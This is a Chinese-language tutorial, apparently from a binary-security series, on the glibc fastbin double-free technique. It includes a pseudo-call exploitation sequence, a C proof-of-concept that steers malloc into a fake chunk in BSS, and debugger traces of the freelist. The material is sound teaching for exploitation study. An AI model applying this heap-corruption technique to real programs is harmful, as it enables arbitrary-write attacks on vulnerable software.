二进制安全之堆溢出(系列)—— fastbin double free
本文是二进制安全之堆溢出系列的第九章节,主要介绍 fastbin double free。
原理
介绍
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。
这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块。
原因
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
流程

new(0x60) # 0
new(0x60) # 1
new(0x60) # 2
del(0) //指针未置空,可以再free 1次
del(1) //改变arena指针指向2,起中介作用,不然再次del(0)会报错:double free
del(0)
new(0x60) # 0
edit(0) //change fd 2 target_addr,此时bin中还有一个1,两种内存相同,从而造成overlap
new(0x60) # 1
new(0x60) # 0 change fastbin arena fd 2 target_addr
new(0x60) # target
注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2
这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。
DEMO
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
sleep(0);
free(chunk1);
free(chunk2);
free(chunk1); //now:main_arena=>chunk1=>chun2=>chunk1
sleep(0);
chunk_a=malloc(0x10);
sleep(0);
*(long long *)chunk_a=&bss_chunk;
sleep(0);
malloc(0x10);
sleep(0);
malloc(0x10);
sleep(0);
chunk_b=malloc(0x10);
sleep(0);
printf("%p",chunk_b);
return 0;
}
调试
构造
double free
之后的链表
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
此时链表的情况为:main_arena=>chunk1=>chun2=>chunk1
第一次将chunk1 malloc出去
0x20: 0x602020 —▸ 0x602000 ◂— 0x602020 /* '‘ */`
修改chunk1的fd为bss_addr
0x602010: 0x0000000000601080 0x0000000000000000
0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000021
0x20: 0x602020 —▸ 0x602000 —▸ 0x601080 (bss_chunk) ◂— 0x0
将chunk2 malloc出去
0x20: 0x602000 —▸ 0x601080 (bss_chunk) ◂— 0x0
将chunk1 再次malloc出去
0x20: 0x601080 (bss_chunk) ◂— 0x0
malloc chunk_b 即bss的堆块
0x601090
打印出chunk_b的地址正是bss_chunk的数据区指针
总结
bss_chunk.size=0×21的原因:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
